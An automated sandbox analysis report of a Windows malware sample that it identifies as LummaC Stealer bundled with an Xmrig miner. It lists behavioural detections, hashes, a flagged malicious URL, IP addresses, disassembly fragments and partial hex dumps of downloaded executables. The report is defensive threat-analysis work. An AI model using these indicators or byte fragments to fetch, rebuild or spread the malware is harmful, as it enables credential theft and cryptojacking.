Windows Analysis Report
Arly.exe1.exe

Overview

General Information

Sample name: Arly.exe1.exe
Analysis ID: 1637280
MD5: 7cca34211a07de077586747453674386
SHA1: 43b59f17aa625e8d63aa8c5191eaf2383b1f2bc0
SHA256: 699c4fb429bc1751228bc9d115b65fb23b9ce2f4bf99f54bcb4e1da298616a86
Tags: exeuser-TornadoAV_dev
Infos:

Detection

LummaC Stealer, Xmrig
Score: 100
Range: 0 - 100
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Antivirus detection for dropped file
Detected unpacking (changes PE section rights)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Schedule system process
Yara detected LummaC Stealer
Yara detected Xmrig cryptocurrency miner
Adds a directory exclusion to Windows Defender
Connects to a pastebin service (likely for C&C)
Encrypted powershell cmdline option found
Found API chain indicative of debugger detection
Found many strings related to Crypto-Wallets (likely being stolen)
Hides threads from debuggers
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Modifies power options to not sleep / hibernate
PE file has nameless sections
Powershell drops PE file
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Query firmware table information (likely to detect VMs)
Sample is not signed and drops a device driver
Sigma detected: Files With System Process Name In Unsuspected Locations
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to harvest and steal ftp login credentials
Tries to steal Crypto Currency Wallets
Uses powercfg.exe to modify the power settings
Uses schtasks.exe or at.exe to add and modify task schedules
AV process strings found (often used to terminate AV products)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates driver files
Detected non-DNS traffic on DNS port
Detected potential crypto function
Downloads executable code via HTTP
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the application program directory (C:\ProgramData)
Enables debug privileges
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
PE / OLE file has an invalid certificate
PE file contains an invalid checksum
PE file contains more sections than normal
PE file contains sections with non-standard names
PE file does not import any functions
PE file overlay found
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for user specific document files
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Suspicious Execution of Powershell with Base64
Sigma detected: Usage Of Web Request Commands And Cmdlets
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer

Classification

Name Description Attribution Blogpost URLs Link
xmrig According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

AV Detection
barindex
Antivirus detection for URL or domain
Source: https://crosshairc.life/dAnjhw Avira URL Cloud: Label: malware
Source: https://crosshairc.life:443/dAnjhw Avira URL Cloud: Label: malware
Antivirus detection for dropped file
Source: C:\dmikhsv\file_scaricato.exe Avira: detection malicious, Label: HEUR/AGEN.1314134
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe ReversingLabs: Detection: 81%
Multi AV Scanner detection for submitted file
Source: Arly.exe1.exe Virustotal: Detection: 22% Perma Link
Source: Arly.exe1.exe ReversingLabs: Detection: 15%
Joe Sandbox ML detected suspicious sample
Source: Submited Sample Integrated Neural Analysis Model: Matched 100.0% probability
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBC907 CryptUnprotectData,CryptUnprotectData, 14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBBBD0 CryptUnprotectData, 14_2_00BBBBD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 14_2_00BBC907 CryptUnprotectData,CryptUnprotectData, 14_2_00BBC907

Bitcoin Miner
barindex
Yara detected Xmrig cryptocurrency miner
Source: Yara match File source: 15.2.ZTXEX2709J4S3M888Q2LJG.exe.29d4f29.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000F.00000002.1730967623.0000000002A1B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file_scaricato.exe PID: 5228, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: ZTXEX2709J4S3M888Q2LJG.exe PID: 1792, type: MEMORYSTR
Source: unknown HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.6:49698 version: TLS 1.2
Source: unknown HTTPS traffic detected: 185.199.108.133:443 -> 192.168.2.6:49699 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49701 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:49703 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56146 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56147 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56148 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56149 version: TLS 1.2
Source: unknown HTTPS traffic detected: 104.21.112.1:443 -> 192.168.2.6:56150 version: TLS 1.2
Source: unknown HTTPS traffic detected: 172.67.19.24:443 -> 192.168.2.6:56152 version: TLS 1.2
Source: Arly.exe1.exe Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Source: Binary string: C:\Users\Administrator\Desktop\Pch3lkinMinerBuilder\Task32Main\Task32Main\obj\Debug\Task32Main.pdb source: file_scaricato.exe, 0000000E.00000003.2090007117.000000000160F000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000002.3732558298.0000000001614000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090007117.00000000015DA000.00000004.00000020.00020000.00000000.sdmp, file_scaricato.exe, 0000000E.00000003.2090249387.0000000001611000.00000004.00000020.00020000.00000000.sdmp, ZTXEX2709J4S3M888Q2LJG.exe, 0000000F.00000000.1663387414.00000000004A2000.00000002.00000001.01000000.00000007.sdmp, ZTXEX2709J4S3M888Q2LJG.exe.14.dr
Source: Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: WinRing0x64.sys.15.dr
Source: Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb source: Arly.exe1.exe
Source: Binary string: C:\Users\danar\source\repos\reskapo\x64\Release\reskapo.pdb5 source: Arly.exe1.exe
Source: C:\Users\user\Desktop\Arly.exe1.exe Code function: 0_2_00007FF624709D44 FindFirstFileExW, 0_2_00007FF624709D44
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx eax, word ptr [esi] 14_2_00BAF2DB
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx-5E8897A6h] 14_2_00BED380
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+0Ch] 14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2Ch] 14_2_00BC14D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax-51131DAEh] 14_2_00BCF610
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov ebp, dword ptr [ecx+edx+3Ch] 14_2_00BE7840
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax-5EFC0AFAh] 14_2_00BE991B
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h] 14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then lea esi, dword ptr [eax-000000ECh] 14_2_00BABA30
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then push edi 14_2_00BAEA60
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then push 00000000h 14_2_00BBBBD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov dword ptr [esp+04h], ecx 14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+14h] 14_2_00BE3CD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+eax-5EFC0B12h] 14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax] 14_2_00BECC10
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp word ptr [edi+ebx], 0000h 14_2_00BEBEE0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h] 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esi+eax] 14_2_00BC3F3D
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD70BB
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD70AB
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-3FFFFFFCh] 14_2_00BC5080
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5E7F957Eh] 14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax-00000084h] 14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+5E7F957Eh] 14_2_00BE80C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD7014
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov dword ptr [edi], esi 14_2_00BA1040
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov dword ptr [esp+0Ch], eax 14_2_00BC3187
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h 14_2_00BC92F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then add eax, dword ptr [esp+ecx*4+24h] 14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, word ptr [edi+esi*4] 14_2_00BAA2C0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h] 14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD723B
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+2A63AD04h] 14_2_00BE9270
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx+00000184h] 14_2_00BD53D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then jmp dword ptr [00BF3070h] 14_2_00BCC337
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+64h] 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD6E1C
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+6F2AC920h] 14_2_00BCF4BE
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx eax, byte ptr [esp+edx+4Ch] 14_2_00BAF480
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esp+ebx+18h], cl 14_2_00BAE478
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+ebx+05F22ED0h] 14_2_00BBD5E8
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov ecx, eax 14_2_00BEB5D0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 14_2_00BBF57E
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ebx, bx 14_2_00BCE560
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov dword ptr [esp+04h], esi 14_2_00BEA6BC
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov word ptr [ebp+00h], ax 14_2_00BAD690
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [esp], 00000000h 14_2_00BE5681
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+7BB9014Ah] 14_2_00BD66EE
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+7BB9014Ah] 14_2_00BD66E8
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov ecx, eax 14_2_00BEB670
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx-42092694h] 14_2_00BBE642
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00BBE642
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [ecx+esi] 14_2_00BA2790
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+ebx] 14_2_00BE37F0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+5C59A7BEh] 14_2_00BCE8B0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 14_2_00BD38B0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ebx, byte ptr [esp+ecx-5EFC0B12h] 14_2_00BEC890
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, word ptr [ecx] 14_2_00BBA8E0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h 14_2_00BB1806
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov eax, dword ptr [edi+0Ch] 14_2_00BA19E0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx-3EB3DFC6h] 14_2_00BCC9DB
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [esi+edx*8], 93A82FD1h 14_2_00BBE9C7
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+ecx] 14_2_00BEA970
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+ebx+07h] 14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov eax, ebx 14_2_00BC4A30
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+10h] 14_2_00BC2A70
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ecx, byte ptr [esp+eax+28h] 14_2_00BD2BA0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+ecx+41288CCAh] 14_2_00BC7B38
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edi, byte ptr [esp+ebx+54h] 14_2_00BC2B31
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 1ED597A4h 14_2_00BE7B00
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+ecx-6715F17Bh] 14_2_00BC2CB3
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+37CF7FBCh] 14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov word ptr [ebx], ax 14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax] 14_2_00BCECE0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [ebx+edx-56h] 14_2_00BC3CE1
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 14_2_00BBFCD2
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movsx edx, byte ptr [esi+eax] 14_2_00BBACC0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then cmp dword ptr [edx+ecx*8], 93A82FD1h 14_2_00BBAD90
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 14_2_00BE0DD0
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov word ptr [ebx], cx 14_2_00BD1DC6
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx esi, byte ptr [esp+edx+5E7F9582h] 14_2_00BE7D20
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx ebp, byte ptr [esp+ecx-16h] 14_2_00BEBD10
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov byte ptr [esi], cl 14_2_00BD7D60
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then movzx edx, byte ptr [esp+eax+18h] 14_2_00BBC907
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then mov word ptr [eax], cx 14_2_00BD1F4B
Source: C:\dmikhsv\file_scaricato.exe Code function: 4x nop then jmp dword ptr [00BF3B4Ch] 14_2_00BD1F4B
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h 15_2_00CC4668
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CCC89h 15_2_028CC878
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CCCA8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CD370
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CD372
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD87Ah 15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CDA54h 15_2_028CD7A7
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD87Ah 15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CDA54h 15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CDA67h 15_2_028CD7B8
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CD592
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then jmp 028CD794h 15_2_028CCC9A
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then lea esp, dword ptr [ebp-0Ch] 15_2_028C6D0D
Source: C:\Users\user\AppData\Local\Temp\ZTXEX2709J4S3M888Q2LJG.exe Code function: 4x nop then lea esp, dword ptr [ebp-0Ch] 15_2_028C6D0F

Networking
barindex
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: pastebin.com
Detected non-DNS traffic on DNS port
Source: global traffic TCP traffic: 192.168.2.6:56145 -> 1.1.1.1:53
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:27 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 15 Jan 2025 19:13:16 GMTConnection: keep-aliveETag: "678808cc-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 7a 58 21 9a 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 48 00 00 00 0a 00 00 00 00 00 00 3a 66 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 02 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e7 65 00 00 4f 00 00 00 00 80 00 00 b8 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 34 65 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 46 00 00 00 20 00 00 00 48 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 06 00 00 00 80 00 00 00 08 00 00 00 4a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 66 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 36 00 00 dc 2c 00 00 03 00 02 00 10 00 00 06 c4 63 00 00 70 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 04 00 b5 00 00 00 01 00 00 11 02 14 7d 1c 00 00 04 02 28 14 00 00 0a 00 00 02 28 06 00 00 06 00 28 05 00 00 06 00 28 03 00 00 06 00 02 28 0b 00 00 06 00 02 28 0a 00 00 06 00 7e 19 00 00 04 72 01 00 00 70 6f 15 00 00 0a 0a 06 2c 30 00 7e 03 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 7e 0f 00 00 04 7e 12 00 00 04 72 23 00 00 70 16 28 04 00 00 06 00 00 2b 18 00 7e 02 00 00 04 7e 12 00 00 04 72 07 00 00 70 16 28 04 00 00 06 00 00 7e 01 00 00 04 7e 12 00 00 04 72 43 00 00 70 16 28 04 00 00 06 00 28 08 00 00 06 00 28 0c 00 00 06 00 02 28 0e 00 00 06 00 2a 00 00 00 13 30 03 00 21 00 00 00 02 00 00 11 00 02 28 16 00 00 0a 0a 06 25 6f 17 00 00 0a 20 80 00 00 00 60 6f 18 00 00 0a 00 06 0b 2b 00 07 2a 00 00 00 1b 30 04 00 a7 01 00 00 03 00 00 11 00 00 20 00 0f 00 00 28 19 00 00 0a 00 20 10 27 00 00 8d 31 00 00 01 0a 16 0b 16 0c 73 1a 00 00 0a 0d 09 7e 10 00 00 04 6f 1b 00 00 0a 13 04 11 04 73 1c 00 00 0a 13 05 00 06 16 72 5b
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 13 Mar 2025 12:40:33 GMTContent-Type: application/octet-streamContent-Length: 8251392Last-Modified: Wed, 15 Jan 2025 19:13:17 GMTConnection: keep-aliveETag: "678808cd-7de800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 0b 00 db 63 a2 64 00 00 00 00 00 00 00 00 f0 00 2e 02 0b 02 02 26 00 10 5f 00 00 d8 7d 00 00 0c 32 00 d0 14 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 05 00 02 00 00 00 00 00 00 30 b0 00 00 10 00 00 4c 7c 7e 00 03 00 60 01 00 00 20 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 d0 ae 00 d8 46 00 00 00 40 af 00 e8 5c 00 00 00 10 76 00 9c ee 02 00 00 00 00 00 00 00 00 00 00 a0 af 00 6c 8e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 19 74 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c e0 ae 00 40 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a0 0a 5f 00 00 10 00 00 00 10 5f 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 64 61 74 61 00 00 00 60 04 01 00 00 20 5f 00 00 06 01 00 00 20 5f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 64 61 74 61 00 00 e0 dc 15 00 00 30 60 00 00 de 15 00 00 26 60 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 70 64 61 74 61 00 00 9c ee 02 00 00 10 76 00 00 f0 02 00 00 04 76 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 78 64 61 74 61 00 00 14 b9 03 00 00 00 79 00 00 ba 03 00 00 f4 78 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 62 73 73 00 00 00 00 e0 0a 32 00 00 c0 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 69 64 61 74 61 00 00 d8 46 00 00 00 d0 ae 00 00 48 00 00 00 ae 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 68 00 00 00 00 20 af 00 00 02 00 00 00 f6 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 30 af 00 00 02 00 00 00 f8 7c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 